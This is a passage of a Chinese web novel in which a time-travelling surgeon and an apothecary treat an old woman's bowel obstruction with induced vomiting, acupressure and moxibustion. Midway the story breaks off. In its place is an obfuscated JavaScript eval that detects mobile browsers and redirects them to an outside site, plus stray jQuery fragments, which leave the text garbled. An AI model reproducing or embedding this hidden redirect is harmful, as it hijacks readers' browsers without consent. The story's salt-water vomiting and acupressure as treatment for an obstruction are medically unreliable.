“有人在吗？”


    钱东家被古妍拖着走进了院子，院子不大，从院门到正屋不过三丈远，来到门前，他敲了敲门，并竖起耳朵往里听。


    古妍则站在他身后，抄着手环顾四周。


    虽然院子不大，但还是农村典型的“宅-田”分离而邻的格局，一篱笆墙隔断的地方是个小菜园，篱笆这边有口水井，还有灶台、土窖、石臼、石磨等加工工具，古妍猜测，这里估计没有专门的厨房，炊事与粮食处理皆在院子里。


    她站在这里看不见后院，想必那里肯定也有溷，以及与溷融为一体的猪圈。


    单看这个院子，感觉主人家确实不富裕。


    这种布置的农家小院她似曾相识，在老家较为落后的地方，仍保留着厨院一体的格局。


    当然不是有钱人那种厨院一体的别墅，而是穷人对于有限空间的巧妙利用。


    而这种巧思，源于2000多年前。


    吱呀——


    这时，房门被打开了，一张老妇的脸由暗转明出现在二人面前，并伴随着一股若有似无的粪臭味。


    钱东家旋即回眸，递给古妍一个眼神：瞧吧，是不是大秽之气？


    古妍会意颔首：是比你的屁臭更甚。


    “钱东家？”老妪很快认出了钱东家。


    钱东家带着古妍向对方行了个揖礼，“晨安！”


    “昨日你匆匆离去，我未曾诊断出你的病症，辗转反复了一整宿，今早一起，便带着……”


    在介绍古妍的身份时，他迟疑了一下，“这位是妍姬，她看诊，我抓药，我们二人桴鼓相应。”


    “二位有心了！”老妪感激涕零。


    回想起昨日的突发状况，她面露窘色，“昨日…实在……”


    “成事不说。”钱东家一摆手，打断了她的话，也打消了即将出现的尴尬氛围，“可否进屋一聊？”


    闻言，老妪再露尴尬之色，“屋里杂乱不堪，不若，我把茵席搬出，于院内小坐？”


    “有劳。”钱东家抱拳颔首。


    等到老妪转身进屋拿茵席后，古妍凑到钱东家耳边，小声说道：“她估计又吐过好几次。”


    “闻出来了。”钱东家揉揉鼻子，侧头看向她，“感觉你一路沉着，是否已有诊断？”


    古妍点头，“还需面诊再确定。”


    钱东家说：“昨晚我也‘抱佛脚’来着，听你说了那些，我便从肠澼、积聚、腹痛等症来有的放矢，推断出她可能肠子里面出现了疙瘩，或者打结了，才会导致吃进去的食物反流，从嘴巴里吐出来。”


    “之所以她吐出的小秽像经过五谷轮回形成的大秽，是因为食物残渣已在体内完成了轮回，只是出口堵了，就好比我们要出城，先要通过内城的城门，再通过外城的城门，如果外城的城门堵了，我们被动返回之时，自然会沾染两道城门间的泥土…是这个意思吧？”


    他感觉越说越复杂，怕古妍听不懂，便停下来询问她。


    古妍莞尔颔首，“正是男君理解的意思。”


    见自己没有说错，钱东家一拍手，“我看前人曾有过用竹管吹气来灌肠的法子进行通便，此法可用于这位老妪身上？”


    古妍摇头，“她问题比你想的复杂。”


    待老妪拿出一张茵席，一壶水，三个杯子后，古妍便跪坐在她对面，帮她把脉、观她气色。


    面色蜡黄无光，多半长期营养不良。


    确实是弦脉与沉紧脉兼具，男君没有说错。


    弦脉对应气滞型肠梗阻，因肠道气机阻滞，气血运行不畅所致，表现为腹胀、腹痛拒按、排便排气停止…古妍伸手摁了一下老妪的下腹，后者立即表现出吃痛的神情。


    沉紧脉则对应寒凝型肠梗阻，因寒邪内侵，肠道痉挛或麻痹所致，表现为突发绞痛、遇冷加重…但古妍看过老妪的舌苔，厚腻,不白，四肢也未出现发冷的症状，可见她气滞更重，寒凝稍缓。


    没法为老妪进行影像学检查与实验室检查来进一步确诊，但凭古妍这些年在肛肠科的经验，老妪确实身患肠梗阻，且已到必须马上治疗的严重程度，甚至需要手术，或切除肠道粘连组织恢复通畅，或移除坏死、肿瘤段肠道将健康部分重新连接。


    若是再复杂一些的病情，需选用造口术，在腹部临时开口排便，待肠道恢复后再闭合。


    可无论哪种，对于现下的古妍而言，皆不可行。


    好不容易遇到一个专业对口的病症，但却受限于当下的医疗条件…哎！


    古妍在心里重重地叹了一口气。


    如果时间充裕，我倒是可以制出类似麻沸散的止痛麻药，但抗菌药…她皱眉想了想。


    历史上在应对感染时，古人不是没有过各种尝试，譬如使用草药、油脂膏药，还有火烙…但这些均无法从根本上控制细菌繁殖。??


    “妍姬，我这病…是不是治不好了？”


    见她把着自己的脉，久久不说话，眉头蹙得越来越紧，老妪忍不住探问。


    古妍抬眸，在她脸上看到了那位“老人味”老翁的相似表情。


    “老媪，还不知你贵姓。”古妍缓和了一下自己的表情。


    老妪一愣，讪笑道：“是我失礼，免贵姓田。”


    “田老媪，你今年贵庚呢？”古妍又问。


    田老媪说：“五十有二，已过天命之年。”


    “那你往后的路还长，把这病治好，继续颐养天年。”古妍解颐。


    “能治好吗？我已食不下咽，怕是时日不多了，昨日不过是想找钱东家开副止吐的方子，好让自己走得舒坦些。”田老媪苦笑着坦言。


    以当下的医疗条件，古妍没法给她准确的答案，但身为一名医者，从不轻言放弃。


    她松开田老媪的手腕，紧握住了她的手，“我会尽我所能。”


    “要如何治疗呢？”钱东家好奇问。


    古妍转头看向他，“还是老法子，内服与针灸同步。”


    也没有其他法子了。


    她在心里补了一句，又向田老媪进一步询问了其他表现症状。


    听完后，古妍已能确定，田老媪的肠道功能存在严重紊乱，需通过鼻胃管引流胃内容物，以缓解腹胀与呕吐，同时进行静脉补液、补充电解质，以及营养支持。


    可惜这两样她都没法办到。


    只能灌肠或催吐，再内服、针灸，期间，最好不要饮食。


    “田老媪，你身边还有其他家人吗？”古妍小心探问。


    田老媪点点头，“大儿媳和孙儿在，他们这会儿去桑园了。”


    古妍了然，没追问她的其他家人，“据说你也在桑园干活，但治疗期间，最好静养，暂时不宜用膳，身子可能会虚弱好几日，若能有家人在旁照顾更有助于治愈。”


    “我明白了。”田老媪颔首，嗫嚅问：“那诊金……”


    古妍看向钱东家。


    钱东家则转头朝隔壁的菜园子望去，“我看你家的菘种得不错，菘味甘，性凉，无毒，有解热除烦，通利肠胃之效，还能治肺热咳嗽，阳结，癘等症。”


    古妍虚起了眸子。


    田老媪忙起身，“我地窖里攒了不少。”


    说着，她便朝屋里走去。


    “你是不会空手归的，对吧？”古妍面露愠色。


    钱东家搓了搓手，“若是空手归，田老媪怕是会受之有愧，没法好好治病。”


    “她虽家贫，但气节未失。”


    “善良要建立在尊重对方的基础上，否则不是施善，而是施舍。”


    古妍一怔，当场语塞。


    论人情世故，钱东家确实能当她师父。


    “他们家的枣树也种得不错，以后结了枣，可以来摘些尝尝。”钱东家又搓了搓手，朝隔壁菜园种的几棵枣树指去。


    古妍嗔笑，“你适可而止啊！”


    “他们家也算帮宫里做事，为何如此穷困？”她跟着又道出了自己的困惑。


    钱东家捋着山羊须，“他们并非直接帮朝廷做事，而是朝廷下面的蚕农…不过田家这种情况，也挺让我意外，兴许…是女子与孩童的缘故，所以给的工钱低吧。”


    古妍一听就忿忿不平，“凭什么干一样的货，女子的工钱就要比男子低？”


    “这……”钱东家挠了挠手背，“兴许是女子力气更小的缘故吧。”


    “这叫性别歧视！”古妍怒目圆睁，双手捏拳。


    “啊？”钱东家没听懂。


    “不知这些够不够入药？”好在田老媪及时步出，抱着满满一筐菘，笑盈盈地向二人走来。


    “够了够了，不够再告诉你。”钱东家赶忙起身，接过了箩筐，又指着旁边的枣树，大大方方地说：“等你们家的枣树结了果，我再带妍姬过来尝尝鲜。”


    “好好好！”田老媪不停点头，笑得见牙不见眼。


    古妍发现，她的气色比方才初见时转好了一些，不再暗沉。


    治病治病，身心同治。


    跟田老媪商量好今日午时以后来东市针灸，二人便装上那筐菘，乘牛车返回


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864596|190100||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    内城。


    所谓菘，其实就是白菜，因耐寒如松柏而得名。


    不过古妍发现，这会儿的菘跟后世的白菜还是存在一定差别，更偏向小白菜，叶子没有包心，闻起来清甜舒爽。


    “男君，回去后准备一张席子，催吐后要歇息片刻，才能行动。”


    撕下一片菘吃完后，古妍开始交代针对田老媪的一些治疗细节。


    “她近半个月没有大便，体内秽物太多，先催吐，再服药、针灸。”


    “能治好吗？”钱东家略显担忧。


    古妍抬头望天，“尽人事听天命吧。”


    老天把她弄到这里来，不正为了冰解的破吗？


    申时将至之际，田老媪在一名少年的陪伴下，坐着驴车前来药肆。


    驴车简易，一驴一板，田老媪坐在板上，少年牵着驴，一老一少，风尘仆仆，但眼神灼灼，看不到丝毫疲态。


    好的心态，是治愈的第一步。


    古妍笑着迎上，搀扶下田老媪，带着她来到几案后面，钱东家则展开屏风，将摊位一半封闭，一半展露。


    由于田老媪是肠梗阻引发的便秘与反流，而非单纯的便秘，比起灌肠，催吐更为有效，操作起来也相对简单些。


    而催吐的办法有很多，最简单粗暴的就是拿一根筷子伸进喉咙，或者用手指按压舌根…根本彰显不出古妍对中医穴位的心闲手敏。


    当初研究人体穴位，她是想学点穴法，然而点穴法只学了个皮毛，倒是对各种穴位滚瓜烂熟。


    就连催吐，也可以通过按压内关穴、合谷穴、足三里来试试。


    如果还是不行，再用手指按压舌根。


    她先找到了田老媪右手背第1、2掌骨之间靠近第2掌骨的中点，也就是虎口，这里是合谷穴，用拇指按压并向食指方向推揉，从1默念到120或180，见田老媪只是干呕，古妍又找到她的足三里，用指尖或指关节垂直按压，力度稍重，持续300次。


    紧接着，古妍让她喝了一碗温盐水。


    终于，她吐了。


    钱东家急忙拿来事先准备好的弃秽桶，让她抱着吐个痛快。


    古妍用打湿凉水的帕子冷敷她的后颈部，以降低其神经敏感度，因为催吐会导致下颌淋巴结肿大，局部冷敷可消除这种症状。


    钱东家发现，这才经过一日，田老媪吐出的秽物更臭了，愈发像大秽。


    幸好幸好…要是再拖几日，简直不敢想！


    将弃秽桶装了一半，田老媪这才停止呕吐，而后在孙儿的搀扶下，于草席躺下。


    古妍去处理弃秽桶，钱东家则帮田老媪把脉。


    “脉搏虚弱了些，不过脉位变浅了。”


    “缓解气滞需厚朴、枳实，寒凝则需附子、干姜。”


    他大概已清楚，该为田老媪开什么方子了。


    其实这段时日，他一直在偷偷努力，没事就待在北房啃书，头发都掉了不少。


    一把年纪，被一个年轻女郎逼着不得不上进，谁能懂他心里的苦？


    要是岳丈在天有灵，怕是会说服自己的女儿，让他纳古妍为妾吧…啊呸！


    眼瞅着古妍抱着倒干净的弃秽桶返回，钱东家迅速收起心思，点燃熏香，协助古妍为田老媪进行针灸。


    针灸也是取足三里，外加天枢来刺激肠道蠕动，同时推拿按摩，以顺时针的手法揉腹促进排气。


    点燃艾灸后，钱东家找到田老媪的关元、神阙等穴位，以温通经络。


    这期间有人买药或问诊，就让田老媪的孙儿来帮着艾灸，钱东家和古妍交替着去接待…两个时辰过去，太阳即将落山，第一次治疗总算结束，田老媪也恢复了一些气色。


    再一把脉，脉位又浅了几分。


    “这段时日多以汤、羹为主食，多静养，明日再催吐一次，如果呕吐物变少，或者变稀，不再呈大秽状，便无需继续催吐，但要接着针灸、服药，你的情况较为严重，疗程为半个月，最好每日都来，尽量别间断。”古妍仔细叮嘱。


    “至于诊金嘛，我们已经收下你一筐菘，你看着再给点就行。”钱东家粲然一笑。


    祖孙俩一听，千恩万谢，差点没跪下磕头。


    送走二人后，古妍笑眯眯觑着钱东家，“男君，这可不像你的行事作风。”


    钱东家一副超然之态，“我本来也不姓钱。”


    “那你叫啥？”古妍脱口问。


    钱东家没有回答，而是指着自己花白的头发问她：“你专治杂症，可会治脱发？”